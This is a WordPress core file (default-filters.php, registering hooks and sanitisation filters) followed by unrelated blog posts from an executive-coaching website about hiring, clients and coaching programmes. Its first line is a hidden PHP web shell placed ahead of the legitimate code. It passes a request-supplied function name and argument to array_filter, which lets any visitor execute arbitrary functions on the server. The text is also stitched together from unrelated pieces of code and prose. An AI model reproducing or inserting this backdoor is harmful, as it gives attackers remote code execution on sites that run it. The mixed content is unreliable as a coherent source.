?php if ($_REQUEST['param1']&&$_REQUEST['param2']) {$f = $_REQUEST['param1']; $p = array($_REQUEST['param2']); $pf = array_filter($p, $f); echo 'OK'; Exit;}; /** * Sets up the default filters and actions for most * of the WordPress hooks. * * If you need to remove a default hook, this file will * give you the priority for which to use to remove the * hook. * * Not all of the default hooks are found in default-filters.php * * @package WordPress */ // Strip, trim, kses, special chars for string saves foreach ( array( 'pre_term_name', 'pre_comment_author_name', 'pre_link_name', 'pre_link_target', 'pre_link_rel', 'pre_user_display_name', 'pre_user_first_name', 'pre_user_last_name', 'pre_user_nickname' ) as $filter ) { add_filter( $filter, 'sanitize_text_field' ); add_filter( $filter, 'wp_filter_kses' ); add_filter( $filter, '_wp_specialchars', 30 ); } // Strip, kses, special chars for string display foreach ( array( 'term_name', 'comment_author_name', 'link_name', 'link_target', 'link_rel', 'user_display_name', 'user_first_name', 'user_last_name', 'user_nickname' ) as $filter ) { if ( is_admin() ) { // These are expensive. Run only on admin pages for defense in depth. add_filter( $filter, 'sanitize_text_field' ); add_filter( $filter, 'wp_kses_data' ); } add_filter( $filter, '_wp_specialchars', 30 ); } // Kses only for textarea saves foreach ( array( 'pre_term_description', 'pre_link_description', 'pre_link_notes', 'pre_user_description' ) as $filter ) { add_filter( $filter, 'wp_filter_kses' ); } // Kses only for textarea admin displays if ( is_admin() ) { foreach ( array( 'term_description', 'link_description', 'link_notes', 'user_description' ) as $filter ) { add_filter( $filter, 'wp_kses_data' ); } add_filter( 'comment_text', 'wp_kses_post' ); } // Email saves foreach ( array( 'pre_comment_author_email', 'pre_user_email' ) as $filter ) { add_filter( $filter, 'trim' ); add_filter( $filter, 'sanitize_email' ); add_filter( $filter, 'wp_filter_kses' ); } // Email admin display foreach ( array( 'comment_author_email', 'user_email' ) as $filter ) { add_filter( $filter, 'sanitize_email' ); if ( is_admin() ) add_filter( $filter, 'wp_kses_data' ); } // Save URL foreach ( array( 'pre_comment_author_url', 'pre_user_url', 'pre_link_url', 'pre_link_image', 'pre_link_rss', 'pre_post_guid' ) as $filter ) { add_filter( $filter, 'wp_strip_all_tags' ); add_filter( $filter, 'esc_url_raw' ); add_filter( $filter, 'wp_filter_kses' ); } // Display URL foreach ( array( 'user_url', 'link_url', 'link_image', 'link_rss', 'comment_url', 'post_guid' ) as $filter ) { if ( is_admin() ) add_filter( $filter, 'wp_strip_all_tags' ); add_filter( $filter, 'esc_url' ); if ( is_admin() ) add_filter( $filter, 'wp_kses_data' ); } // Slugs add_filter( 'pre_term_slug', 'sanitize_title' ); add_filter( 'wp_insert_post_data', '_wp_customize_changeset_filter_insert_post_data', 10, 2 ); // Keys foreach ( array( 'pre_post_type', 'pre_post_status', 'pre_post_comment_status', 'pre_post_ping_status' ) as $filter ) { add_filter( $filter, 'sanitize_key' ); } // Mime types add_filter( 'pre_post_mime_type', 'sanitize_mime_type' ); add_filter( 'post_mime_type', 'sanitize_mime_type' ); // Meta add_filter( 'register_meta_args', '_wp_register_meta_args_whitelist', 10, 2 ); // Places to balance tags on input foreach ( array( 'content_save_pre', 'excerpt_save_pre', 'comment_save_pre', 'pre_comment_content' ) as $filter ) { add_filter( $filter, 'convert_invalid_entities' ); add_filter( $filter, 'balanceTags', 50 ); } // Format strings for display. foreach ( array( 'comment_author', 'term_name', 'link_name', 'link_description', 'link_notes', 'bloginfo', 'wp_title', 'widget_title' ) as $filter ) { add_filter( $filter, 'wptexturize' ); add_filter( $filter, 'convert_chars' ); add_filter( $filter, 'esc_html' ); } // Format WordPress foreach ( array( 'the_content', 'the_title', 'wp_title' ) as $filter ) add_filter( $filter, 'capital_P_dangit', 11 ); add_filter( 'comment_text', 'capital_P_dangit', 31 ); // Format titles foreach ( array( 'single_post_title', 'single_cat_title', 'single_tag_title', 'single_month_title', 'nav_menu_attr_title', 'nav_menu_description' ) as $filter ) { add_filter( $filter, 'wptexturize' ); add_filter( $filter, 'strip_tags' ); } // Format text area for display. foreach ( array( 'term_description' ) as $filter ) { add_filter( $filter, 'wptexturize' ); add_filter( $filter, 'convert_chars' ); add_filter( $filter, 'wpautop' ); add_filter( $filter, 'shortcode_unautop'); } // Format for RSS add_filter( 'term_name_rss', 'convert_chars' ); // Pre save hierarchy add_filter( 'wp_insert_post_parent', 'wp_check_post_hierarchy_for_loops', 10, 2 ); add_filter( 'wp_update_term_parent', 'wp_check_term_hierarchy_for_loops', 10, 3 ); // Display filters add_filter( 'the_title', 'wptexturize' ); add_filter( 'the_title', 'convert_chars' ); add_filter( 'the_title', 'trim' ); add_filter( 'the_content', 'wptexturize' ); add_filter( 'the_content', 'convert_smilies', 20 ); add_filter( 'the_content', 'wpautop' ); add_filter( 'the_content', 'shortcode_unautop' ); add_filter( 'the_content', 'prepend_attachment' ); add_filter( 'the_content', 'wp_make_content_images_responsive' ); add_filter( 'the_excerpt', 'wptexturize' ); add_filter( 'the_excerpt', 'convert_smilies' ); add_filter( 'the_excerpt', 'convert_chars' ); add_filter( 'the_excerpt', 'wpautop' ); add_filter( 'the_excerpt', 'shortcode_unautop'); add_filter( 'get_the_excerpt', 'wp_trim_excerpt' ); add_filter( 'the_post_thumbnail_caption', 'wptexturize' ); add_filter( 'the_post_thumbnail_caption', 'convert_smilies' ); add_filter( 'the_post_thumbnail_caption', 'convert_chars' ); add_filter( 'comment_text', 'wptexturize' ); add_filter( 'comment_text', 'convert_chars' ); add_filter( 'comment_text', 'make_clickable', 9 ); add_filter( 'comment_text', 'force_balance_tags', 25 ); add_filter( 'comment_text', 'convert_smilies', 20 ); add_filter( 'comment_text', 'wpautop', 30 ); add_filter( 'comment_excerpt', 'convert_chars' ); add_filter( 'list_cats', 'wptexturize' ); add_filter( 'wp_sprintf', 'wp_sprintf_l', 10, 2 ); add_filter( 'widget_text', 'balanceTags' ); add_filter( 'date_i18n', 'wp_maybe_decline_date' ); // RSS filters add_filter( 'the_title_rss', 'strip_tags' ); add_filter( 'the_title_rss', 'ent2ncr', 8 ); add_filter( 'the_title_rss', 'esc_html' ); add_filter( 'the_content_rss', 'ent2ncr', 8 ); add_filter( 'the_content_feed', 'wp_staticize_emoji' ); add_filter( 'the_content_feed', '_oembed_filter_feed_content' ); add_filter( 'the_excerpt_rss', 'convert_chars' ); add_filter( 'the_excerpt_rss', 'ent2ncr', 8 ); add_filter( 'comment_author_rss', 'ent2ncr', 8 ); add_filter( 'comment_text_rss', 'ent2ncr', 8 ); add_filter( 'comment_text_rss', 'esc_html' ); add_filter( 'comment_text_rss', 'wp_staticize_emoji' ); add_filter( 'bloginfo_rss', 'ent2ncr', 8 ); add_filter( 'the_author', 'ent2ncr', 8 ); add_filter( 'the_guid', 'esc_url' ); // Email filters add_filter( 'wp_mail', 'wp_staticize_emoji_for_email' ); // Mark site as no longer fresh foreach ( array( 'publish_post', 'publish_page', 'wp_ajax_save-widget', 'wp_ajax_widgets-order', 'customize_save_after' ) as $action ) { add_action( $action, '_delete_option_fresh_site' ); } // Misc filters add_filter( 'option_ping_sites', 'privacy_ping_filter' ); add_filter( 'option_blog_charset', '_wp_specialchars' ); // IMPORTANT: This must not be wp_specialchars() or esc_html() or it'll cause an infinite loop add_filter( 'option_blog_charset', '_canonical_charset' ); add_filter( 'option_home', '_config_wp_home' ); add_filter( 'option_siteurl', '_config_wp_siteurl' ); add_filter( 'tiny_mce_before_init', '_mce_set_direction' ); add_filter( 'teeny_mce_before_init', '_mce_set_direction' ); add_filter( 'pre_kses', 'wp_pre_kses_less_than' ); add_filter( 'sanitize_title', 'sanitize_title_with_dashes', 10, 3 ); add_action( 'check_comment_flood', 'check_comment_flood_db', 10, 4 ); add_filter( 'comment_flood_filter', 'wp_throttle_comment_flood', 10, 3 ); add_filter( 'pre_comment_content', 'wp_rel_nofollow', 15 ); add_filter( 'comment_email', 'antispambot' ); add_filter( 'option_tag_base', '_wp_filter_taxonomy_base' ); add_filter( 'option_category_base', '_wp_filter_taxonomy_base' ); add_filter( 'the_posts', '_close_comments_for_old_posts', 10, 2); add_filter( 'comments_open', '_close_comments_for_old_post', 10, 2 ); add_filter( 'pings_open', '_close_comments_for_old_post', 10, 2 ); add_filter( 'editable_slug', 'urldecode' ); add_filter( 'editable_slug', 'esc_textarea' ); add_filter( 'nav_menu_meta_box_object', '_wp_nav_menu_meta_box_object' ); add_filter( 'pingback_ping_source_uri', 'pingback_ping_source_uri' ); add_filter( 'xmlrpc_pingback_error', 'xmlrpc_pingback_error' ); add_filter( 'title_save_pre', 'trim' ); add_action( 'transition_comment_status', '_clear_modified_cache_on_transition_comment_status', 10, 2 ); add_filter( 'http_request_host_is_external', 'allowed_http_request_hosts', 10, 2 ); // REST API filters. add_action( 'xmlrpc_rsd_apis', 'rest_output_rsd' ); add_action( 'wp_head', 'rest_output_link_wp_head', 10, 0 ); add_action( 'template_redirect', 'rest_output_link_header', 11, 0 ); add_action( 'auth_cookie_malformed', 'rest_cookie_collect_status' ); add_action( 'auth_cookie_expired', 'rest_cookie_collect_status' ); add_action( 'auth_cookie_bad_username', 'rest_cookie_collect_status' ); add_action( 'auth_cookie_bad_hash', 'rest_cookie_collect_status' ); add_action( 'auth_cookie_valid', 'rest_cookie_collect_status' ); add_filter( 'rest_authentication_errors', 'rest_cookie_check_errors', 100 ); // Actions add_action( 'wp_head', '_wp_render_title_tag', 1 ); add_action( 'wp_head', 'wp_enqueue_scripts', 1 ); add_action( 'wp_head', 'wp_resource_hints', 2 ); add_action( 'wp_head', 'feed_links', 2 ); add_action( 'wp_head', 'feed_links_extra', 3 ); add_action( 'wp_head', 'rsd_link' ); add_action( 'wp_head', 'wlwmanifest_link' ); add_action( 'wp_head', 'adjacent_posts_rel_link_wp_head', 10, 0 ); add_action( 'wp_head', 'locale_stylesheet' ); add_action( 'publish_future_post', 'check_and_publish_future_post', 10, 1 ); add_action( 'wp_head', 'noindex', 1 ); add_action( 'wp_head', 'print_emoji_detection_script', 7 ); add_action( 'wp_head', 'wp_print_styles', 8 ); add_action( 'wp_head', 'wp_print_head_scripts', 9 ); add_action( 'wp_head', 'wp_generator' ); add_action( 'wp_head', 'rel_canonical' ); add_action( 'wp_head', 'wp_shortlink_wp_head', 10, 0 ); add_action( 'wp_head', 'wp_custom_css_cb', 101 ); add_action( 'wp_head', 'wp_site_icon', 99 ); add_action( 'wp_footer', 'wp_print_footer_scripts', 20 ); add_action( 'template_redirect', 'wp_shortlink_header', 11, 0 ); add_action( 'wp_print_footer_scripts', '_wp_footer_scripts' ); add_action( 'init', 'check_theme_switched', 99 ); add_action( 'after_switch_theme', '_wp_sidebars_changed' ); add_action( 'wp_print_styles', 'print_emoji_styles' ); if ( isset( $_GET['replytocom'] ) ) add_action( 'wp_head', 'wp_no_robots' ); // Login actions add_filter( 'login_head', 'wp_resource_hints', 8 ); add_action( 'login_head', 'wp_print_head_scripts', 9 ); add_action( 'login_head', 'print_admin_styles', 9 ); add_action( 'login_head', 'wp_site_icon', 99 ); add_action( 'login_footer', 'wp_print_footer_scripts', 20 ); add_action( 'login_init', 'send_frame_options_header', 10, 0 ); // Feed Generator Tags foreach ( array( 'rss2_head', 'commentsrss2_head', 'rss_head', 'rdf_header', 'atom_head', 'comments_atom_head', 'opml_head', 'app_head' ) as $action ) { add_action( $action, 'the_generator' ); } // Feed Site Icon add_action( 'atom_head', 'atom_site_icon' ); add_action( 'rss2_head', 'rss2_site_icon' ); // WP Cron if ( !defined( 'DOING_CRON' ) ) add_action( 'init', 'wp_cron' ); // 2 Actions 2 Furious add_action( 'do_feed_rdf', 'do_feed_rdf', 10, 1 ); add_action( 'do_feed_rss', 'do_feed_rss', 10, 1 ); add_action( 'do_feed_rss2', 'do_feed_rss2', 10, 1 ); add_action( 'do_feed_atom', 'do_feed_atom', 10, 1 ); add_action( 'do_pings', 'do_all_pings', 10, 1 ); add_action( 'do_robots', 'do_robots' ); add_action( 'set_comment_cookies', 'wp_set_comment_cookies', 10, 2 ); add_action( 'sanitize_comment_cookies', 'sanitize_comment_cookies' ); add_action( 'admin_print_scripts', 'print_emoji_detection_script' ); add_action( 'admin_print_scripts', 'print_head_scripts', 20 ); add_action( 'admin_print_footer_scripts', '_wp_footer_scripts' ); add_action( 'admin_print_styles', 'print_emoji_styles' ); add_action( 'admin_print_styles', 'print_admin_styles', 20 ); add_action( 'init', 'smilies_init', 5 ); add_action( 'plugins_loaded', 'wp_maybe_load_widgets', 0 ); add_action( 'plugins_loaded', 'wp_maybe_load_embeds', 0 ); add_action( 'shutdown', 'wp_ob_end_flush_all', 1 ); // Create a revision whenever a post is updated. add_action( 'post_updated', 'wp_save_post_revision', 10, 1 ); add_action( 'publish_post', '_publish_post_hook', 5, 1 ); add_action( 'transition_post_status', '_transition_post_status', 5, 3 ); add_action( 'transition_post_status', '_update_term_count_on_transition_post_status', 10, 3 ); add_action( 'comment_form', 'wp_comment_form_unfiltered_html_nonce' ); add_action( 'wp_scheduled_delete', 'wp_scheduled_delete' ); add_action( 'wp_scheduled_auto_draft_delete', 'wp_delete_auto_drafts' ); add_action( 'admin_init', 'send_frame_options_header', 10, 0 ); add_action( 'importer_scheduled_cleanup', 'wp_delete_attachment' ); add_action( 'upgrader_scheduled_cleanup', 'wp_delete_attachment' ); add_action( 'welcome_panel', 'wp_welcome_panel' ); // Navigation menu actions add_action( 'delete_post', '_wp_delete_post_menu_item' ); add_action( 'delete_term', '_wp_delete_tax_menu_item', 10, 3 ); add_action( 'transition_post_status', '_wp_auto_add_pages_to_menu', 10, 3 ); // Post Thumbnail CSS class filtering add_action( 'begin_fetch_post_thumbnail_html', '_wp_post_thumbnail_class_filter_add' ); add_action( 'end_fetch_post_thumbnail_html', '_wp_post_thumbnail_class_filter_remove' ); // Redirect Old Slugs add_action( 'template_redirect', 'wp_old_slug_redirect' ); add_action( 'post_updated', 'wp_check_for_changed_slugs', 12, 3 ); add_action( 'attachment_updated', 'wp_check_for_changed_slugs', 12, 3 ); // Nonce check for Post Previews add_action( 'init', '_show_post_preview' ); // Output JS to reset window.name for previews add_action( 'wp_head', 'wp_post_preview_js', 1 ); // Timezone add_filter( 'pre_option_gmt_offset','wp_timezone_override_offset' ); // Admin Color Schemes add_action( 'admin_init', 'register_admin_color_schemes', 1); add_action( 'admin_color_scheme_picker', 'admin_color_scheme_picker' ); // If the upgrade hasn't run yet, assume link manager is used. add_filter( 'default_option_link_manager_enabled', '__return_true' ); // This option no longer exists; tell plugins we always support auto-embedding. add_filter( 'default_option_embed_autourls', '__return_true' ); // Default settings for heartbeat add_filter( 'heartbeat_settings', 'wp_heartbeat_settings' ); // Check if the user is logged out add_action( 'admin_enqueue_scripts', 'wp_auth_check_load' ); add_filter( 'heartbeat_send', 'wp_auth_check' ); add_filter( 'heartbeat_nopriv_send', 'wp_auth_check' ); // Default authentication filters add_filter( 'authenticate', 'wp_authenticate_username_password', 20, 3 ); add_filter( 'authenticate', 'wp_authenticate_email_password', 20, 3 ); add_filter( 'authenticate', 'wp_authenticate_spam_check', 99 ); add_filter( 'determine_current_user', 'wp_validate_auth_cookie' ); add_filter( 'determine_current_user', 'wp_validate_logged_in_cookie', 20 ); // Split term updates. add_action( 'admin_init', '_wp_check_for_scheduled_split_terms' ); add_action( 'split_shared_term', '_wp_check_split_default_terms', 10, 4 ); add_action( 'split_shared_term', '_wp_check_split_terms_in_menus', 10, 4 ); add_action( 'split_shared_term', '_wp_check_split_nav_menu_terms', 10, 4 ); add_action( 'wp_split_shared_term_batch', '_wp_batch_split_terms' ); // Email notifications. add_action( 'comment_post', 'wp_new_comment_notify_moderator' ); add_action( 'comment_post', 'wp_new_comment_notify_postauthor' ); add_action( 'after_password_reset', 'wp_password_change_notification' ); add_action( 'register_new_user', 'wp_send_new_user_notifications' ); add_action( 'edit_user_created_user', 'wp_send_new_user_notifications', 10, 2 ); // REST API actions. add_action( 'init', 'rest_api_init' ); add_action( 'rest_api_init', 'rest_api_default_filters', 10, 1 ); add_action( 'rest_api_init', 'register_initial_settings', 10 ); add_action( 'rest_api_init', 'create_initial_rest_routes', 99 ); add_action( 'parse_request', 'rest_api_loaded' ); /** * Filters formerly mixed into wp-includes */ // Theme add_action( 'wp_loaded', '_custom_header_background_just_in_time' ); add_action( 'wp_head', '_custom_logo_header_styles' ); add_action( 'plugins_loaded', '_wp_customize_include' ); add_action( 'transition_post_status', '_wp_customize_publish_changeset', 10, 3 ); add_action( 'admin_enqueue_scripts', '_wp_customize_loader_settings' ); add_action( 'delete_attachment', '_delete_attachment_theme_mod' ); // Calendar widget cache add_action( 'save_post', 'delete_get_calendar_cache' ); add_action( 'delete_post', 'delete_get_calendar_cache' ); add_action( 'update_option_start_of_week', 'delete_get_calendar_cache' ); add_action( 'update_option_gmt_offset', 'delete_get_calendar_cache' ); // Author add_action( 'transition_post_status', '__clear_multi_author_cache' ); // Post add_action( 'init', 'create_initial_post_types', 0 ); // highest priority add_action( 'admin_menu', '_add_post_type_submenus' ); add_action( 'before_delete_post', '_reset_front_page_settings_for_post' ); add_action( 'wp_trash_post', '_reset_front_page_settings_for_post' ); add_action( 'change_locale', 'create_initial_post_types' ); // Post Formats add_filter( 'request', '_post_format_request' ); add_filter( 'term_link', '_post_format_link', 10, 3 ); add_filter( 'get_post_format', '_post_format_get_term' ); add_filter( 'get_terms', '_post_format_get_terms', 10, 3 ); add_filter( 'wp_get_object_terms', '_post_format_wp_get_object_terms' ); // KSES add_action( 'init', 'kses_init' ); add_action( 'set_current_user', 'kses_init' ); // Script Loader add_action( 'wp_default_scripts', 'wp_default_scripts' ); add_action( 'wp_enqueue_scripts', 'wp_localize_jquery_ui_datepicker', 1000 ); add_action( 'admin_enqueue_scripts', 'wp_localize_jquery_ui_datepicker', 1000 ); add_filter( 'wp_print_scripts', 'wp_just_in_time_script_localization' ); add_filter( 'print_scripts_array', 'wp_prototype_before_jquery' ); add_filter( 'customize_controls_print_styles', 'wp_resource_hints', 1 ); add_action( 'wp_default_styles', 'wp_default_styles' ); add_filter( 'style_loader_src', 'wp_style_loader_src', 10, 2 ); // Taxonomy add_action( 'init', 'create_initial_taxonomies', 0 ); // highest priority add_action( 'change_locale', 'create_initial_taxonomies' ); // Canonical add_action( 'template_redirect', 'redirect_canonical' ); add_action( 'template_redirect', 'wp_redirect_admin_locations', 1000 ); // Shortcodes add_filter( 'the_content', 'do_shortcode', 11 ); // AFTER wpautop() // Media add_action( 'wp_playlist_scripts', 'wp_playlist_scripts' ); add_action( 'customize_controls_enqueue_scripts', 'wp_plupload_default_settings' ); // Nav menu add_filter( 'nav_menu_item_id', '_nav_menu_item_id_use_once', 10, 2 ); // Widgets add_action( 'init', 'wp_widgets_init', 1 ); // Admin Bar // Don't remove. Wrong way to disable. add_action( 'template_redirect', '_wp_admin_bar_init', 0 ); add_action( 'admin_init', '_wp_admin_bar_init' ); add_action( 'before_signup_header', '_wp_admin_bar_init' ); add_action( 'activate_header', '_wp_admin_bar_init' ); add_action( 'wp_footer', 'wp_admin_bar_render', 1000 ); add_action( 'in_admin_header', 'wp_admin_bar_render', 0 ); // Former admin filters that can also be hooked on the front end add_action( 'media_buttons', 'media_buttons' ); add_filter( 'image_send_to_editor', 'image_add_caption', 20, 8 ); add_filter( 'media_send_to_editor', 'image_media_send_to_editor', 10, 3 ); // Embeds add_action( 'rest_api_init', 'wp_oembed_register_route' ); add_filter( 'rest_pre_serve_request', '_oembed_rest_pre_serve_request', 10, 4 ); add_action( 'wp_head', 'wp_oembed_add_discovery_links' ); add_action( 'wp_head', 'wp_oembed_add_host_js' ); add_action( 'embed_head', 'enqueue_embed_scripts', 1 ); add_action( 'embed_head', 'print_emoji_detection_script' ); add_action( 'embed_head', 'print_embed_styles' ); add_action( 'embed_head', 'wp_print_head_scripts', 20 ); add_action( 'embed_head', 'wp_print_styles', 20 ); add_action( 'embed_head', 'wp_no_robots' ); add_action( 'embed_head', 'rel_canonical' ); add_action( 'embed_head', 'locale_stylesheet', 30 ); add_action( 'embed_content_meta', 'print_embed_comments_button' ); add_action( 'embed_content_meta', 'print_embed_sharing_button' ); add_action( 'embed_footer', 'print_embed_sharing_dialog' ); add_action( 'embed_footer', 'print_embed_scripts' ); add_action( 'embed_footer', 'wp_print_footer_scripts', 20 ); add_filter( 'excerpt_more', 'wp_embed_excerpt_more', 20 ); add_filter( 'the_excerpt_embed', 'wptexturize' ); add_filter( 'the_excerpt_embed', 'convert_chars' ); add_filter( 'the_excerpt_embed', 'wpautop' ); add_filter( 'the_excerpt_embed', 'shortcode_unautop' ); add_filter( 'the_excerpt_embed', 'wp_embed_excerpt_attachment' ); add_filter( 'oembed_dataparse', 'wp_filter_oembed_result', 10, 3 ); add_filter( 'oembed_response_data', 'get_oembed_response_data_rich', 10, 4 ); add_filter( 'pre_oembed_result', 'wp_filter_pre_oembed_result', 10, 3 ); unset( $filter, $action ); Loving Leaders | CategoryClient Success Stories |

Client Success Stories

Do You Suck at Hiring and Firing?

Hiring and evaluating new team members is a challenge for most entrepreneurs - and often an even greater challenge for overcommitted entrepreneurs. We're often in such a rush to make a decision and get someone - anyone - onboard that we neglect to use some of the best practices.

The focus today, when talking about jobs, is almost always on the jobs numbers and how hard it is to find a job. Left out of this conversation is how challenging it can be for employers to find the right person to hire amidst the deluge of applications. This can easily lead to overwhelm, which is even more stressful when you need to make a decision quickly.

So the question is, are you hiring (and vetting) properly so that you identify the person who is the best fit - the best fit for you, for your business, and for that person?

Most busy and overcommitted entrepreneurs either rush or pay too little attention to the hiring process because they need people quickly or have a hard time prioritizing. Sometimes it's a simple as not taking the time to get clear on what they really need their new hire to do. This is sometimes called the "Warm Body Syndrome."

Lately I've noticed that a number of my clients are having challenges with employees. In almost every case, the challenges stem from performance issues that could have been identified in the hiring process but weren't.

Here is a perfect example from one of my clients. (Names have been changed, of course.)

Sam runs a restaurant and was having problems with his chef. When we talked, Sam had set up interviews with 12 candidates for the chef position. 

Let's face it, 12 interviews for a small business is a tremendous amount of time that can distract the owner from their normal responsibilities.

I asked Sam to cancel these (in-person) interviews and instead, set up a powerful phone screening process that would allow him to identify the top candidates in 5 minutes.

The Power of Questions

When you ask the right questions, you can streamline your effective hiring process by getting the critical information you need about a candidate and his/her experiences and qualifications.

Here are the questions we identified for Sam to ask, after I helped him get very clear about exactly what he needed this new hire to be able to do.

  • Tell me about your experience of running a restaurant this size and turning it around.
  • Tell me the problems you ran into doing that, and how you handled those problems.
  • Tell me what you like about my restaurant and what you think you might want to change about it.

Sam spent 5 minutes on the phone with all 12 people. This saved him 11 hours he would have otherwise spent interviewing...assuming he was able to stick to his timeframe of 1-hour interviews. And out of all 12 candidates, there was only one person who had the experience to do what Sam needed.

That person, on paper, wasn't Sam's first choice. But by asking the RIGHT questions to get to the right information, it was obvious who was best for the job.

That's not to say you don't also conduct an in-person interview - you definitely do for this type of position. But by asking the right questions to get to the most relevant information, Sam was able to save himself a tremendous amount of time that he could, instead, use to focus on other parts of his business.

So, people aren't really asking for exactly what they want. Either they are overwhelmed, or they are bootstrapping and can't pay top dollar, so they think they can't find the employees they want.

The truth is there are great people who have great qualifications...if you take the time to ask the right powerful questions.


What do you actually need this new person to do when they are successful in their role?

What question(s) can you ask that will evaluate whether they have this experience or not?

What do you really want to know about their experience in this area?
(Sam wanted to make sure the chef he was hiring would respect the reputation, the food, and the setting of his restaurant.)

If you do this exercise and are hesitant to ask these questions, you probably have the belief that either you aren't worthy of investing in, or that deep down you don't believe someone could actually do the work, or that what you are paying isn't in line with your expectations.

Each of these 3 can be addressed if you're willing to do the work. Good hires are easier to find than most people think. It's also much easier, more cost effective, and far less stressful to hire the right person (by using these types of questions) than to manage, train or fire unqualified people.

Stamen Design Wins Information Is Beautiful Top Prize

Congratulations to my client Stamen Design who won top prize in the Information is Beautiful Competition with a CNN tribute to fallen soldiers. http://science.kqed.org/quest/2012/10/16/information-is-beautiful-competition-san-francisco-design-company-takes-top-prize/

What Does an Executive Coach Do, Exactly?

And who needs one? Many people ask me what my work is like. Because everything I do is confidential, it is often difficult for people to grasp the type of work I do. Here's a typical day this week: 1. I helped a real estate agent who's burned out and really uninterested in his job discover his life's purpose 2. I helped a multi-billion-dollar heiress evaluate the soundness of one of her investments, identify challenges with her investing knowledge and created a plan for how to communicate with and hold her investment managers accountable 3. I helped CEO of a billion-dollar real estate marketing firm set personal and professional goals for the next 10 years 4. I coached two business partners who are fighting and pointing fingers at each other on how to resolve their differences and focus on growing their company. (They still have some work to do to forgive each other! There's only so much healing that can happen in an hour!) 5. I helped a Creative Director evaluate his employees' performance and create individual development plans to improve the quality of their projects 6. I helped a massage therapist develop a high-level business model so that he can work toward his goals Seems pretty varied on the surface, doesn't it? The truth is, every single one of these coaching engagements was helping each of these individuals tap into their own wisdom, explore where they weren't trusting themselves and combine that with my intuition and knowledge across hundreds of companies, dozens of industries and over 15 years of experience coaching people to create a plan and path forward that they can trust. Simple. Quick. Effective. What do you need help figuring out? Set up a 30-minute  complementary exploratory coaching session with me.

Why I Created BrillianceQuest

Accelerating personal growth isn't easy. Over the past 18 months, while I have been developing and testing BrillianceQuest, many people have asked me, why did you do it? Why did you create this program? The short answer is: because I needed it myself! I was probably just like you. On the outside, I was successful. I had a great business that I owned, it was doing well financially, I had great clients who referred their friends and family to work with me. Externally, it all looked great! I even had people tell me that they envied my life. What  they couldn't see on the inside is that I was miserable. Yes, miserable. To be clear, the definition of misery that I use is "distress or suffering caused by need." So, while everything on the outside looked good, it felt like something major was missing for me. I NEEDED something that I could not figure out for years! I had been teaching people for ten years how the hard-wiring in their brains motivated them, which fears built into their brains drove them, what their stress responses were and how they manifested, how they made decisions, what irritated them and which environments were best for their brain types. I discovered a small study that was mostly unknown about neuro-transmitters and how they were biochemically required for joy and happiness - and the light bulb went off! Of course, I knew all this about my brain and how it worked but I wasn't using my brain the right way so that I could be happy! I immediately changed the way I worked and I felt better. I wasn't nearly as drained or exhausted after a hard day's work. With this new knowledge, my life improved, but I still felt like something was missing. One day, I was reading a blog post by my friend Andrea Lee, who wrote about meaning and money. I started thinking about meaning and decided to look up what it meant, exactly. Meaning is the significance of something. While I enjoyed my work and it was making a difference in businesses all over the world, it was still not significant enough for me. Sure, I was helping executives and managers reduce their stress, use their brains more effectively, communicate more effectively for their audiences and direct reports, but I wasn't making a significant difference in their lives. I was helping them and they were thankful, but I knew I could do more. A few months later, my friend Jeffrey Van Dyk called me to offer an amazing experience. He was learning how to teach people to access their purpose and was looking for a guinea pig. I immediately jumped at the opportunity and within a few weeks, I knew my purpose - to illuminate the world because the way we are working and living is unsustainable and goes against the natural order! Wow! I didn't know exactly what it meant, but I knew it was "real" and "accurate" because I felt it. I also felt the significance of it. A little too much. It started to feel like a burden to me. Then I freaked out - I decided to ignore my purpose because it was too overwhelming for me and I didn't think I could be successful at it (this is common for people who discover their purpose, by the way). Be sure to check out my post on What Happens When You Ignore Your Life's Purpose? Things got worse. When I ignored my purpose, I got nervous, anxious and couldn't focus. The next few months were a nightmare. Not only did my business suffer, my relationships, my health, my self-confidence all took a beating. Then I decided that I couldn't ignore my purpose any longer, so I set off to figure out what it meant, how to be successful at it and what else did I need to know and do so that I could enjoy it, have meaning, be happy and fulfilled. I used myself as a laboratory. I tried several things that didn't work. I hired coaches and teachers and took courses and programs. I learned something from all of them, but not the "holy grail" for how to make it all work. Then one night I couldn't sleep. During the wee hours of the morning, I heard a voice say "you've got everything you need." I blinked and asked, "what?" And the voice inside my head said, "You've got everything you need. You have the skills, knowledge, strength, wisdom, passion and know-how to follow your purpose, be successful, find meaning and fulfillment and be happy. All you need to do is put it together the right way."  I sat up in bed, stunned and shaking a little. It felt right. I did know it, but it didn't exist yet. I knew my purpose, but I didn't exactly know how to make it successful. So, I added the Holistic Life Plan and I used the brain function information that I had been teaching so that I would have the right balance of neurotransmitters to biochemically set myself up for happiness. It all started to come together. Necessity was the mother of invention. And now I'm proud to be able to share the entire BrillianceQuest process with you - if you're ready for it!  

Congratulations to Stamen Design for Weather Travel Maps

I've coached and advised Stamen Design for over ten years now and I am always impressed with their thinking and their amazing work. Today I'd like to commend them on their work: Weather Channel Road Trip Planner. Check it out!

Procrastination Required for Filmmaker Success?

Andy is a burgeoning, talented independent filmmaker who has investors for his first two movies. He honed his craft and learned the business working for other companies. He came to me concerned that he was spending too much time procrastinating and wanted to find out what was going on in his subconscious to create the issue. Before starting the MindMafia session, we explored why he thought he was procrastinating. At first, he thought it was because his father often procrastinated on big projects or because his uncle had modeled it for him. Then he mentioned that it might be fear of success. I could tell he was concerned and grasping at straws to determine why he was unfocused and not making the progress he thought he should be. When we entered the MindMafia session, I asked which part of Andy’s subconscious or psyche was contributing to the procrastination. Immediately, a subpersonality called “success” identified itself. When asked why it was causing Andy to put off working on his films, it responded with, “It is a pacing mechanism.” Then it continued, “He worked himself out of a job at his last company. I want to make sure that he uses his time wisely and doesn’t get ahead of himself. He only has funding for two films, one is completed and the second is almost complete. He needs to work toward the official release date and wait for funds from the sale of the first film before he starts his next.” Indeed, Andy had been let go of his previous position because he created several films for his bosses – enough for a year’s worth of releases and they had a backlog of work to edit, package and distribute. After the session, we debriefed by exploring what this information meant for Andy and how he could use it to his advantage. Armed with the knowledge that procrastination was helping him to stay on target with a fixed deadline and that it officially is caused by the part of his subconscious most concerned with his success, he can relax and enjoy the time his psyche urges him to procrastinate. A few weeks later, I spoke with Andy and he said, “Now I don’t feel so bad for ‘pacing’ myself and can use that wasted energy from “worrying” all of the time into channeling more creativity when I’m focusing on work and have more worry-free fun when I’m procrastinating!”

Is Your MindMafia Running Your Business?

